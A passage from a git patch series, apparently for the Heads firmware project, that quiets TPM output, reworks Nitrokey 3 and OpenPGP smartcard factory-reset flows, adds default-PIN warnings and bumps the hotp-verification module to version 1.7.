physicalsetdeactivated -c >/dev/null 2>&1 || LOG "Unable to deactivate TPM" - tpm forceclear -pwdo "$tpm_owner_password" >/dev/null 2>&1 || LOG "Unable to clear TPM" + tpm forceclear >/dev/null 2>&1 || LOG "Unable to clear TPM" tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" tpm takeown -pwdo "$tpm_owner_password" >/dev/null 2>&1 || LOG "Unable to take ownership of TPM" @@ -787,7 +794,7 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then tpm1_destroy "$@" ;; extend) - #check if we extend with a hash or a file + # Check if we extend with a hash or a file if [ "$4" = "-if" ]; then DEBUG "TPM: Will extend PCR[$3] hash content of file $5" hash="$(sha1sum "$5" | cut -d' ' -f1)" @@ -799,7 +806,14 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then TRACE_FUNC LOG "TPM: Extending PCR[$3] with hash $hash" - DO_WITH_DEBUG exec tpm "$@" + + # Redirect the output of DO_WITH_DEBUG to a temporary file so we can LOG it in quiet mode + TMP_DEBUG_FILE=$(mktemp) + DO_WITH_DEBUG exec tpm "$@" >"$TMP_DEBUG_FILE" 2>&1 + while IFS= read -r line; do + LOG "$line" + done <"$TMP_DEBUG_FILE" + rm -f "$TMP_DEBUG_FILE" ;; seal) shift diff --git a/initrd/etc/functions b/initrd/etc/functions index 2dabda7b3..f6438ae73 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -372,7 +372,7 @@ check_tpm_counter() { tpmr counter_create \ -pwdc '' \ -la $LABEL | - tee /tmp/counter || + tee /tmp/counter > /dev/null 2>&1 || die "Unable to create TPM counter" TPM_COUNTER=$(cut -d: -f1 /dev/null 2>&1 || die "TPM counter increment failed for rollback prevention. Please reset the TPM" } From 94b77e870405dfe099ed0221863e134f21c83e23 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Dec 2024 17:12:47 -0500 Subject: [PATCH 419/619] WiP: staging changes Insights: - We should use oem generated pubkey naming to distinguish between oem/user generated keys and try to use default PINs also for GPG User to sign with default PIN and warn even if it works/doesn't, urging users to do reownership - Point is that oem factory reset does in the direction of using randomized PINs, while continuing to use those for a user should be strongly discouraged Signed-off-by: Thierry Laurion --- initrd/.ash_history | 2 +- initrd/bin/gpg-gui.sh | 2 +- initrd/bin/kexec-seal-key | 8 ++++---- initrd/bin/oem-factory-reset | 24 +++++++++++++++--------- initrd/bin/seal-hotpkey | 8 ++++++-- initrd/bin/tpmr | 2 +- 6 files changed, 28 insertions(+), 18 deletions(-) diff --git a/initrd/.ash_history b/initrd/.ash_history index 12d10333b..7f03d3ee1 100644 --- a/initrd/.ash_history +++ b/initrd/.ash_history @@ -4,7 +4,7 @@ mount /boot find /boot/kexec*.txt | gpg --verify /boot/kexec.sig - #remove invalid kexec_* signed files mount /dev/sda1 /boot && mount -o remount,rw /boot && rm /boot/kexec* && mount -o remount,ro /boot -#Generate keys from GPG smartcard: +#Generate keys on OpenPGP smartcard: mount-usb && gpg --home=/.gnupg/ --card-edit #Copy generated public key, private_subkey, trustdb and artifacts to external media for backup: mount -o remount,rw /media && mkdir -p /media/gpg_keys; gpg --export-secret-keys --armor email@address.com > /media/gpg_keys/private.key && gpg --export --armor email@address.com > /media/gpg_keys/public.key && gpg --export-ownertrust > /media/gpg_keys/otrust.txt && cp -r ./.gnupg/* /media/gpg_keys/ 2> /dev/null diff --git a/initrd/bin/gpg-gui.sh b/initrd/bin/gpg-gui.sh index 9a3eb8e5e..738de34ab 100755 --- a/initrd/bin/gpg-gui.sh +++ b/initrd/bin/gpg-gui.sh @@ -148,7 +148,7 @@ while true; do 'e' ' Replace GPG key(s) in the current ROM and reflash' \ 'l' ' List GPG keys in your keyring' \ 'p' ' Export public GPG key to USB drive' \ - 'g' ' Generate GPG keys manually on a USB security token' \ + 'g' ' Generate GPG keys manually on a USB security dongle' \ 'x' ' Exit' \ 2>/tmp/whiptail || recovery "GUI menu failed" diff --git a/initrd/bin/kexec-seal-key b/initrd/bin/kexec-seal-key index bd35fe354..558c579b5 100755 --- a/initrd/bin/kexec-seal-key +++ b/initrd/bin/kexec-seal-key @@ -97,16 +97,16 @@ done attempts=0 while [ $attempts -lt 3 ]; do - read -s -p "New LUKS TPM Disk Unlock Key passphrase (DUK) for booting: " key_password + read -s -p "New LUKS TPM Disk Unlock Key (DUK) passphrase for booting: " key_password echo read -s -p "Repeat LUKS TPM Disk Unlock Key (DUK) passphrase for booting: " key_password2 echo if [ "$key_password" != "$key_password2" ]; then attempts=$((attempts + 1)) if [ "$attempts" == "3" ]; then - die "Disk Unlock Key passphrases do not match. Exiting..." + die "Disk Unlock Key (DUK) passphrases do not match. Exiting..." else - warn "Disk Unlock Key passphrases do not match. Please try again." + warn "Disk Unlock Key (DUK) passphrases do not match. Please try again." fi else break @@ -168,7 +168,7 @@ for dev in $key_devices; do die "$dev: Unable to find a key slot that can be unlocked with provided passphrase. Exiting..." fi - # If the key slot is not the expected DUK o FRK key slot, we will ask the user to confirm the wipe + # If the key slot is not the expected DUK or DRK key slot, we will ask the user to confirm the wipe for keyslot in "${luks_used_keyslots[@]}"; do if [ "$keyslot" != "$drk_key_slot" ]; then #set wipe_desired to no by default diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 17b714781..a4096153f 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -146,7 +146,7 @@ reset_nk3_secret_app() { # Reset Nitrokey 3 Secrets app with $ADMIN_PIN (default 12345678, or customised) if lsusb | grep -q "20a0:42b2"; then echo - warn "Resetting Nitrokey 3 Secrets App with PIN. Physical presence (touch) will be required" + warn "Resetting Nitrokey 3's Secrets App with PIN. Physical presence (touch) will be required" # TODO: change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed # Reset Nitrokey 3 secret app with PIN # Do 3 attempts to reset Nitrokey 3 Secrets App if return code is 3 (no touch) @@ -159,7 +159,7 @@ reset_nk3_secret_app() { if [ $error_code -eq 3 ] && [ $attempt -lt 3 ]; then whiptail --msgbox "Nitrokey 3 requires physical presence: touch the dongle when requested" $HEIGHT $WIDTH --title "Nk3 cecrets app reset attempt: $attempt/3" else - whiptail_error_die "Nitrokey 3 secrets app reset failed with error:$error_code. Contact Nitrokey support" + whiptail_error_die "Nitrokey 3's secrets app reset failed with error:$error_code. Contact Nitrokey support" fi fi done @@ -547,10 +547,7 @@ gpg_key_factory_reset() { #enable usb storage enable_usb - - #Reset Nitrokey 3 secret app - reset_nk3_secret_app - + # Factory reset GPG card echo "GPG factory reset of USB Security dongle's OpenPGP smartcard..." { @@ -671,6 +668,7 @@ generate_OEM_gpg_keys() { gpg_key_change_pin() { TRACE_FUNC + DEBUG "Changing GPG key PIN" # 1 = user PIN, 3 = admin PIN PIN_TYPE=$1 @@ -915,6 +913,8 @@ report_integrity_measurements() { usb_security_token_capabilities_check() { TRACE_FUNC + echo -e "\nChecking for USB Security dongle...\n" + enable_usb # ... first set board config preference if [ -n "$CONFIG_GPG_ALGO" ]; then @@ -926,6 +926,8 @@ usb_security_token_capabilities_check() { GPG_ALGO="p256" DEBUG "Nitrokey 3 detected: Setting GPG_ALGO to: $GPG_ALGO" fi + + #TODO: put everything related to USB Security dongle here } ## main script start @@ -1281,8 +1283,12 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then keytocard_subkeys_to_smartcard fi else + #enable usb storage + enable_usb + #Reset Nitrokey 3 secret app + reset_nk3_secret_app #Generate GPG key and subkeys on smartcard only - echo -e "\nResetting USB Security dongle's GPG smartcard...\n(this will take around 3 minutes...)\n" + echo -e "\nResetting USB Security dongle's OpenPGP smartcard with GPG...\n(this will take around 3 minutes...)\n" gpg_key_factory_reset generate_OEM_gpg_keys fi @@ -1301,7 +1307,7 @@ fi #Applying custom GPG PINs to the smartcard if they were provided if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then #Only apply smartcard PIN change if smartcard only or if keytocard op is expected next - if [ "${USER_PIN}" != "" -o "${ADMIN_PIN}" != "" ]; then + if [ "${USER_PIN}" != "${USER_PIN_DEF}" -o "${ADMIN_PIN}" != "${ADMIN_PIN_DEF}" ]; then echo -e "\nChanging default GPG Admin PIN\n" gpg_key_change_pin "3" "${ADMIN_PIN_DEF}" "${ADMIN_PIN}" echo -e "\nChanging default GPG User PIN\n" @@ -1387,7 +1393,7 @@ fi ## sign files in /boot and generate checksums if [[ "$SKIP_BOOT" == "n" ]]; then - echo -e "\nSigning boot files and generating checksums...\n" + echo -e "\nUpdating checksums and signing all files in /boot...\n" generate_checksums fi diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 2e78d7fb7..70d86e952 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -126,7 +126,11 @@ if [ "$((now_date - gpg_key_create_time))" -gt "$month_secs" ]; then elif [ "$admin_pin_retries" -lt 3 ]; then echo "Not trying default PIN ($admin_pin), only $admin_pin_retries attempt(s) left" else - echo "Trying $prompt_message PIN ($admin_pin) to seal HOTP secret on $HOTPKEY_BRANDING... You may be requested to touch the dongle..." + echo "Trying $prompt_message PIN ($admin_pin) to seal HOTP secret on $HOTPKEY_BRANDING..." + #if we deal with the nk3, say to the user that touch will be required + if lsusb | grep -q "20a0:42b2"; then + warn "Touching the Nitrokey 3 to confirm presence operation is required" + fi #TODO: silence the output of hotp_initialize once https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed #hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" >/dev/null 2>&1 hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" @@ -157,7 +161,7 @@ if [ "$admin_pin_status" -ne 0 ]; then fi else # remind user to change admin password - warn "Factory $prompt_message default PIN detected: please change this PIN as soon as possible through OEM Factory Reset/User Re-Ownership" + warn "Factory $prompt_message default PIN 12345678 detected: please change this PIN as soon as possible through OEM Factory Reset/User Re-Ownership" fi # HOTP key no longer needed diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index ccf1f6c23..61d966787 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -622,7 +622,7 @@ tpm2_unseal() { LOG "tpm2 stderr: $line" done <"$TMP_ERR_FILE" rm -f "$TMP_ERR_FILE" - die "Unable to unseal secret from TPM NVRAM with tpm2 unseal" + die "Unable to unseal secret from TPM NVRAM" fi rm -f "$TMP_ERR_FILE" } From f68df1ccf0de0a1e42401326119028c69835d06a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 12 Dec 2024 16:34:21 -0500 Subject: [PATCH 420/619] Bump hotp-verification to version 1.7, remove patches: contains info fixes and reset fixes so that oem-factory-reset can reset secrets app PIN Signed-off-by: Thierry Laurion --- modules/hotp-verification | 4 +- .../46.patch | 250 ------------------ 2 files changed, 2 insertions(+), 252 deletions(-) delete mode 100644 patches/hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d/46.patch diff --git a/modules/hotp-verification b/modules/hotp-verification index def337f50..5bd1650a8 100644 --- a/modules/hotp-verification +++ b/modules/hotp-verification @@ -2,8 +2,8 @@ modules-$(CONFIG_HOTPKEY) += hotp-verification hotp-verification_depends := libusb $(musl_dep) -# v1.6 + patches for nk3 reset + info fixes (no version bump yet) -hotp-verification_version := 05ac293dfef8abe463ccea8f248066e8686ce62d +# v1.7 +hotp-verification_version := e6cf719d67a811356eecff69769fa1dbce47f953 hotp-verification_dir := hotp-verification-$(hotp-verification_version) hotp-verification_tar := nitrokey-hotp-verification-$(hotp-verification_version).tar.gz hotp-verification_url := https://github.com/Nitrokey/nitrokey-hotp-verification/archive/$(hotp-verification_version).tar.gz diff --git a/patches/hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d/46.patch b/patches/hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d/46.patch deleted file mode 100644 index 7007da379..000000000 --- a/patches/hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d/46.patch +++ /dev/null @@ -1,250 +0,0 @@ -From 45fb0932c3a45978d894fcaae2c242ffa93516f2 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Mon, 25 Nov 2024 17:04:47 +0100 -Subject: [PATCH 1/4] Add reset command for nitrokey 3 - ---- - src/main.c | 10 ++++++++-- - src/operations_ccid.c | 41 +++++++++++++++++++++++++++++++++++++++++ - src/operations_ccid.h | 1 + - 3 files changed, 50 insertions(+), 2 deletions(-) - -diff --git a/src/main.c b/src/main.c -index ed26932..41b1692 100644 ---- a/src/main.c -+++ b/src/main.c -@@ -21,6 +21,7 @@ - - #include "ccid.h" - #include "operations.h" -+#include "operations_ccid.h" - #include "return_codes.h" - #include "utils.h" - #include "operations_ccid.h" -@@ -161,8 +162,13 @@ int parse_cmd_and_run(int argc, char *const *argv) { - } - break; - case 'r': -- if (argc != 3) break; -- res = regenerate_AES_key(&dev, argv[2]); -+ if (strncmp(argv[1], "reset", 15) == 0) { -+ if (argc != 2) break; -+ res = nk3_reset(&dev); -+ } else if (strncmp(argv[1], "regenerate", 15) == 0) { -+ if (argc != 3) break; -+ res = regenerate_AES_key(&dev, argv[2]); -+ } - break; - default: - break; -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index 1ca6f54..cdaf940 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -32,6 +32,47 @@ - #include - - -+ -+int nk3_reset(struct Device *dev) { -+ libusb_device *usb_dev; -+ struct libusb_device_descriptor usb_desc; -+ usb_dev = libusb_get_device(dev->mp_devhandle_ccid); -+ -+ int r = libusb_get_device_descriptor(usb_dev, &usb_desc); -+ -+ if (r < 0) { -+ return r; -+ } -+ -+ -+ if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { -+ return 0; -+ } -+ -+ -+ uint8_t buf[10]; -+ // encode -+ uint32_t icc_actual_length = iso7816_compose(buf, sizeof buf, Ins_Reset, 0xDE, 0xAD, 0, 0, NULL, 0); -+ -+ // encode ccid wrapper -+ icc_actual_length = icc_compose(dev->ccid_buffer_out, sizeof dev->ccid_buffer_out, -+ 0x6F, icc_actual_length, -+ 0, 0, 0, buf); -+ // send -+ IccResult iccResult; -+ r = ccid_process_single(dev->mp_devhandle_ccid, dev->ccid_buffer_in, sizeof dev->ccid_buffer_in, -+ dev->ccid_buffer_out, icc_actual_length, &iccResult); -+ if (r != 0) { -+ return r; -+ } -+ // check status code -+ if (iccResult.data_status_code != 0x9000) { -+ return 1; -+ } -+ -+ return RET_NO_ERROR; -+} -+ - int set_pin_ccid(struct Device *dev, const char *admin_PIN) { - TLV tlvs[] = { - { -diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index 77a6fdc..20415c0 100644 ---- a/src/operations_ccid.h -+++ b/src/operations_ccid.h -@@ -12,6 +12,7 @@ int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const c - int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); - int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); - int nk3_change_pin(struct Device *dev, const char *old_pin, const char*new_pin); -+int nk3_reset(struct Device *dev); - - - #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H - -From 12ba32eb823a3d895ce77052022f8da3e40172ca Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Mon, 2 Dec 2024 10:29:59 +0100 -Subject: [PATCH 2/4] Add optional new pin when resetting - ---- - src/main.c | 11 +++++++---- - src/operations_ccid.c | 6 +++++- - src/operations_ccid.h | 5 ++++- - 3 files changed, 16 insertions(+), 6 deletions(-) - -diff --git a/src/main.c b/src/main.c -index 41b1692..84c0afe 100644 ---- a/src/main.c -+++ b/src/main.c -@@ -41,8 +41,11 @@ void print_help(char *app_name) { - "\t%s check \n" - "\t%s regenerate \n" - "\t%s set [COUNTER]\n" -- "\t%s nk3-change-pin \n", -- app_name, app_name, app_name, app_name, app_name, app_name, app_name); -+ "\t%s nk3-change-pin \n" -+ "\t%s reset [ADMIN PIN]\n" -+ "\t%s regenerate\n" -+ "\t%s set [COUNTER]\n", -+ app_name, app_name, app_name, app_name, app_name, app_name, app_name, app_name, app_name, app_name); - } - - -@@ -163,8 +166,8 @@ int parse_cmd_and_run(int argc, char *const *argv) { - break; - case 'r': - if (strncmp(argv[1], "reset", 15) == 0) { -- if (argc != 2) break; -- res = nk3_reset(&dev); -+ if (argc != 2 && argc != 3) break; -+ res = nk3_reset(&dev, argc == 3 ? argv[2]: NULL); - } else if (strncmp(argv[1], "regenerate", 15) == 0) { - if (argc != 3) break; - res = regenerate_AES_key(&dev, argv[2]); -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index cdaf940..8b6ba77 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -33,7 +33,7 @@ - - - --int nk3_reset(struct Device *dev) { -+int nk3_reset(struct Device *dev, const char * new_pin) { - libusb_device *usb_dev; - struct libusb_device_descriptor usb_desc; - usb_dev = libusb_get_device(dev->mp_devhandle_ccid); -@@ -70,6 +70,10 @@ int nk3_reset(struct Device *dev) { - return 1; - } - -+ if (new_pin != NULL) { -+ set_pin_ccid(dev, new_pin); -+ } -+ - return RET_NO_ERROR; - } - -diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index 20415c0..4d55ad8 100644 ---- a/src/operations_ccid.h -+++ b/src/operations_ccid.h -@@ -12,7 +12,10 @@ int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const c - int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); - int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); - int nk3_change_pin(struct Device *dev, const char *old_pin, const char*new_pin); --int nk3_reset(struct Device *dev); -+// new_pin can be `null` -+// -+// If it is, no new pin will be set -+int nk3_reset(struct Device *dev, const char * new_pin); - - - #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H - -From 0bbc6ea354b1f807a4d7ad4c0cd57f9cbab25a8b Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Tue, 3 Dec 2024 10:48:27 +0100 -Subject: [PATCH 3/4] Fix null pointer bug on non nk3 - ---- - src/operations_ccid.c | 8 +++++++- - 1 file changed, 7 insertions(+), 1 deletion(-) - -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index 8b6ba77..1221764 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -36,6 +36,12 @@ - int nk3_reset(struct Device *dev, const char * new_pin) { - libusb_device *usb_dev; - struct libusb_device_descriptor usb_desc; -+ -+ if (!dev->mp_devhandle_ccid) { -+ // Not an NK3 -+ return RET_NO_ERROR; -+ } -+ - usb_dev = libusb_get_device(dev->mp_devhandle_ccid); - - int r = libusb_get_device_descriptor(usb_dev, &usb_desc); -@@ -46,7 +52,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { - - - if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { -- return 0; -+ return RET_NO_ERROR; - } - - - -From 0c5bd3da36ea8de5b8adf7878e9260b079bc110b Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Mon, 9 Dec 2024 17:42:54 +0100 -Subject: [PATCH 4/4] Print warning when device is not an NK3 - ---- - src/operations_ccid.c | 2 ++ - 1 file changed, 2 insertions(+) - -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index 1221764..356a1b4 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -39,6 +39,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { - - if (!dev->mp_devhandle_ccid) { - // Not an NK3 -+ printf("No Nitrokey 3 found. No operation performed\n"); - return RET_NO_ERROR; - } - -@@ -52,6 +53,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { - - - if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { -+ printf("No Nitrokey 3 found. No operation performed\n"); - return RET_NO_ERROR; - } - From eca4e341769d0bd97b73dab15376242214abbfda Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 12 Dec 2024 17:03:47 -0500 Subject: [PATCH 421/619] WiP: staging changes Attacking nv index next for TPM nvram read in prod_quiet testing Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 4 +++- initrd/bin/oem-factory-reset | 4 ++-- initrd/etc/functions | 4 ++-- modules/hotp-verification | 2 +- 4 files changed, 8 insertions(+), 6 deletions(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index 9e94c30e1..c9ee5d45e 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -571,7 +571,7 @@ reset_tpm() # now that the TPM is reset, remove invalid TPM counter files mount_boot mount -o rw,remount /boot - warn "Removing rollback and primary handle hash under /boot" + LOG "Removing rollback and primary handle hash under /boot" rm -f /boot/kexec_rollback.txt rm -f /boot/kexec_primhdl_hash.txt @@ -585,6 +585,8 @@ reset_tpm() sha256sum /tmp/counter-$counter > /boot/kexec_rollback.txt \ || die "Unable to create rollback file" + + warn "boot content has been modified, please update the checksums and sign the files from Options -> Update checksums and sign all files in /boot" mount -o ro,remount /boot generate_totp_hotp "$tpm_owner_password" diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index a4096153f..58ab1e599 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1288,7 +1288,7 @@ else #Reset Nitrokey 3 secret app reset_nk3_secret_app #Generate GPG key and subkeys on smartcard only - echo -e "\nResetting USB Security dongle's OpenPGP smartcard with GPG...\n(this will take around 3 minutes...)\n" + echo -e "\nResetting USB Security dongle's OpenPGP smartcard with GPG...\n(this may take up to 3 minutes...)\n" gpg_key_factory_reset generate_OEM_gpg_keys fi @@ -1353,7 +1353,7 @@ else #We are not running in QEMU, so flash the key to ROM ## flash generated key to ROM - echo -e "\nReading current firmware...\n(this will take a minute or two)\n" + echo -e "\nReading current firmware...\n(this may take up to two minutes...)\n" /bin/flash.sh -r /tmp/oem-setup.rom >/dev/null 2>/tmp/error if [ ! -s /tmp/oem-setup.rom ]; then ERROR=$(tail -n 1 /tmp/error | fold -s) diff --git a/initrd/etc/functions b/initrd/etc/functions index f6438ae73..e6cd706f8 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -368,7 +368,7 @@ check_tpm_counter() { if [ -r "$1" ]; then TPM_COUNTER=$(grep counter- "$1" | cut -d- -f2) else - warn "$1 does not exist; creating new TPM counter" + LOG "$1 does not exist; creating new TPM counter" tpmr counter_create \ -pwdc '' \ -la $LABEL | @@ -384,7 +384,7 @@ check_tpm_counter() { read_tpm_counter() { TRACE_FUNC - tpmr counter_read -ix "$1" | tee "/tmp/counter-$1" || + tpmr counter_read -ix "$1" | tee "/tmp/counter-$1" > /dev/null 2>&1 || die "Counter read failed" } diff --git a/modules/hotp-verification b/modules/hotp-verification index 5bd1650a8..d9511d2a8 100644 --- a/modules/hotp-verification +++ b/modules/hotp-verification @@ -7,7 +7,7 @@ hotp-verification_version := e6cf719d67a811356eecff69769fa1dbce47f953 hotp-verification_dir := hotp-verification-$(hotp-verification_version) hotp-verification_tar := nitrokey-hotp-verification-$(hotp-verification_version).tar.gz hotp-verification_url := https://github.com/Nitrokey/nitrokey-hotp-verification/archive/$(hotp-verification_version).tar.gz -hotp-verification_hash := 1095640fdae77938ce2d2ce294c7ecb8c27b77060975af8d838b6fd056ed5068 +hotp-verification_hash := 3c8b44e4d9a1f7454269f76102f32de6ed9de19ab0cf7119747eb97377c66a84 hotp-verification_target := \ $(MAKE_JOBS) \ From c7ab861325246a2fd3c019de1313a8b864a0cfe4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 12 Dec 2024 18:44:51 -0500 Subject: [PATCH 422/619] Turn some info on default boot into LOGged info, LOG might go out forever if not pertinent to most? Signed-off-by: Thierry Laurion --- initrd/bin/kexec-select-boot | 6 +++--- initrd/etc/functions | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 81d0e5ff8..daed067a4 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -79,10 +79,10 @@ if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then fi verify_global_hashes() { - echo "+++ Checking verified boot hash file " + LOG "+++ Checking verified boot hash file " # Check the hashes of all the files if verify_checksums "$bootdir" "$gui_menu"; then - echo "+++ Verified boot hashes " + LOG "+++ Verified boot hashes " valid_hash='y' valid_global_hash='y' else @@ -204,7 +204,7 @@ parse_option() { } scan_options() { - echo "+++ Scanning for unsigned boot options" + LOG "+++ Scanning for unsigned boot options" option_file="/tmp/kexec_options.txt" scan_boot_options "$bootdir" "$config" "$option_file" if [ ! -s $option_file ]; then diff --git a/initrd/etc/functions b/initrd/etc/functions index e6cd706f8..b228b18ed 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -419,7 +419,7 @@ check_config() { fi fi - echo "+++ Found verified kexec boot params" + LOG "+++ Found verified kexec boot params" cp $1/kexec*.txt /tmp/kexec || die "Failed to copy kexec boot params to tmp" } From d768e80de677e1bff59ec5439c2d266074d858d7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 13 Dec 2024 14:50:24 -0500 Subject: [PATCH 423/619] WiP: staging changes, no more tpm output. Next warn /boot changed because htop counter and primary handle until removed outside of this PR Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 2 +- initrd/bin/kexec-select-boot | 2 +- initrd/etc/functions | 8 ++++++++ 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index c9ee5d45e..c38119870 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -580,7 +580,7 @@ reset_tpm() || die "Unable to find/create tpm counter" counter="$TPM_COUNTER" - increment_tpm_counter $counter \ + increment_tpm_counter $counter > /dev/null 2>&1 \ || die "Unable to increment tpm counter" sha256sum /tmp/counter-$counter > /boot/kexec_rollback.txt \ diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index daed067a4..60215506b 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -119,7 +119,7 @@ verify_rollback_counter() { die "$TMP_ROLLBACK_FILE: TPM counter not found?" fi - read_tpm_counter $TPM_COUNTER || + read_tpm_counter $TPM_COUNTER > /dev/null 2>&1 || die "Failed to read TPM counter" sha256sum -c $TMP_ROLLBACK_FILE || diff --git a/initrd/etc/functions b/initrd/etc/functions index b228b18ed..311644a8c 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -382,12 +382,14 @@ check_tpm_counter() { fi } +# Read the TPM counter value from the TPM. read_tpm_counter() { TRACE_FUNC tpmr counter_read -ix "$1" | tee "/tmp/counter-$1" > /dev/null 2>&1 || die "Counter read failed" } +# Increment the TPM counter value in the TPM. increment_tpm_counter() { TRACE_FUNC tpmr counter_increment -ix "$1" -pwdc '' | @@ -395,6 +397,7 @@ increment_tpm_counter() { die "TPM counter increment failed for rollback prevention. Please reset the TPM" } +# Check detached signature on kexec boot params check_config() { TRACE_FUNC if [ ! -d /tmp/kexec ]; then @@ -414,6 +417,7 @@ check_config() { fi if [ "$2" != "force" ]; then + # Note that kexec.sig detached signature is solely verifying kexec*.txt files here! if ! sha256sum $(find $1/kexec*.txt) | gpgv $1/kexec.sig -; then die 'Invalid signature on kexec boot params' fi @@ -436,6 +440,7 @@ replace_rom_file() { cbfs.sh -o "$ROM" -a "$ROM_FILE" -f "$NEW_FILE" } +# Replace the config file by the changed one replace_config() { TRACE_FUNC CONFIG_FILE=$1 @@ -469,6 +474,7 @@ secret_from_rom_hash() { sha256sum "${ROM_IMAGE}" | cut -f1 -d ' ' | fromhex_plain } +# Update the checksums of the files in /boot and sign them update_checksums() { TRACE_FUNC # ensure /boot mounted @@ -499,6 +505,7 @@ update_checksums() { return $rv } +# Print the file and directory structure of /boot to caller's stdout print_tree() { TRACE_FUNC find ./ ! -path './kexec*' -print0 | sort -z @@ -584,6 +591,7 @@ assert_signable() { rm -f /tmp/signable.* } +# Verify the checksums of the files in /boot verify_checksums() { TRACE_FUNC local boot_dir="$1" From 0d3964274ee2ba256eb571ce1291e0cdb8071eb8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 13 Dec 2024 15:50:05 -0500 Subject: [PATCH 424/619] WiP: staging changes, warn loud and clear of weak security posture by using weak OEM defaults provisioned secrets Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 2 +- initrd/bin/seal-hotpkey | 8 ++++++-- initrd/bin/tpmr | 7 +++++-- initrd/bin/unseal-totp | 2 +- 4 files changed, 13 insertions(+), 6 deletions(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index c38119870..f89f1e151 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -557,7 +557,7 @@ reset_tpm() TRACE_FUNC if [ "$CONFIG_TPM" = "y" ]; then if (whiptail_warning --title 'Reset the TPM' \ - --yesno "This will clear the TPM and TPM password, replace them with new ones!\n\nDo you want to proceed?" 0 80) then + --yesno "This will clear the TPM and replace its Owner password with a new 